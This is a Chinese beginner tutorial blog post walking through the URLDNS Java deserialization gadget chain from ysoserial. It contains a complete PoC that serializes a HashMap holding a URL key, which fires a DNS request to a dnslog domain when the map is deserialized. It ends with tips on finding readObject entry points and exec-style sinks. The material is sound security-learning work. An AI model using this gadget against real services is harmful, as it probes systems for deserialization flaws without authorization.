zoukankan      html  css  js  c++  java
  • URLDNS反序列化链

    关于java的反序列化只是大概知道是因为readObject方法,导致的但是怎么个过程导致的rce,还是很迷糊的。

    但是直接从CC链来学习的话,对新手实在不太友好。所以,今天从ysoserial.jar中最简单的URLDNSgadget来学习一下反序列化的流程。

    此次利用的URL.class是jdk自带的,无需依赖第三方。整条利用链相对简单,适合新手练手

    根据ysoserial类的poc,下面自行改编

    先上图为敬,如下效果图

    序列化类

    反序列化类

    执行反序列化类里面的main方法,如下图,可以看到dnslog已经接收到了请求

    接下来开始分析这条链是怎么走的

    代码中最重要的三个类是HashMap,URL,URLStreamHandler。其中HashMap重写了readObject方法,URL类是里面有个hashCode()方法被HashMap的readObject()调用了,URLStreamHandler类是里面的getHostAddress被URL类里面的hashCode()方法调用了。这样形成了一条调用链HashMap.readObject()--->HashMap.putVal()--->HashMap.hash()--->URL.hashCode()

    继续往下看,for循环里面把map的key和value都反序列化了,最后进到了putVal方法里面

    我们跟进hash(key)方法,可以看到传入了一个Object类型的key,如果key为空,返回0,不为空的话进入key.hashCode()方法

    此时我们需要注意了,上图中的hash方法传入的是Object类型的,那么如果我们传入的是URL类呢?我们看下URL类有没有hashCode()方法,如果有的话,则能继续下一步,继续根据key.hashCode()方法

    上图说hashCode != -1,则直接返回hashCode,而该URL类的hashCode值被默认定义成了-1。如果等于-1,则继续往下走,我们继续看hashCode(this)方法

    此刻已经分析完了整条链的调用过程,接下来就是写poc来实现了

    package com.zyp.test;
    
    import java.io.*;
    import java.lang.reflect.Field;
    import java.net.MalformedURLException;
    import java.net.URL;
    import java.util.HashMap;
    
    public class UrlDnsSerializeTest {
        public static void serialize(Object obj) throws Exception {
            ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("serialize.bin"));
            oos.writeObject(obj);
        }
        public static Object unSerialize(File file) throws Exception {
            ObjectInputStream ois=new ObjectInputStream(new FileInputStream(file));
            Object o = ois.readObject();
            return o;
        }
    
        public static void main(String[] args) throws Exception {
            HashMap<Object,Object> hashMap=new HashMap<>();
            URL url=new URL("http://serialize.zxz7y3.dnslog.cn");
            //为了下面的put方法不执行URL类里面的getHostAddress方法,使用反射技术获取URL类的属性hashCode,并改变其原有值
            Class c=  url.getClass();
            //获取使用属性hashCode
            Field hashCode = c.getDeclaredField("hashCode");
            hashCode.setAccessible(true);
            //此处hashCode改为111,目的就是为了不进getHostAddress方法
            hashCode.set(url,111);
            hashMap.put(url,1);
            //hashMap执行完URL类的hashCode()后,通过反射,把URL类的hashCode值设置为-1,在反序列化时进入getHostAddress方法
            hashCode.set(url,-1);
            serialize(hashMap);
            File file=new File("serialize.bin");
            unSerialize(file);
        }
    
    }
    

    突然发现一个问题,HashMap的put方法也调用了putVal()

    那我们进行序列化时,应该就会有dns请求,的确如果不做其他处理,在序列化时,就会有dns请求。所以看poc,在put之前就通过反射改变了hashCode的值。使其不等于-1,这样就不会进入到getHostAddress方法

    审计思路

    需要满足以下条件

    1、如果是Java原生类,则需要入口类有readObject方法,同时实现了序列化接口

    2、需要有最终的执行函数(可以执行代码或者命令),比如getRuntime.exec,getHostAddress.....等等,这些函 数需要自己平常去收集,这样审计起来会更得心应手

  • 相关阅读:
    Matplotlib API汉化 Pyplot API
    Pycharm2018的激活方法或破解方法
    优化器
    泛化能力,欠拟合,过拟合,不收敛和奥卡姆剃刀原则
    sas9.2 windows7系统 10年11月后 建立永久数据集时,提示:“用户没有与逻辑库相应的授权级别
    Json、JavaBean、Map、XML之间的互转
    19年博文
    Java demo之时间
    idea相关
    shell脚本
  • 原文地址:https://www.cnblogs.com/1008612mrzou/p/15650327.html
Copyright © 2011-2022 走看看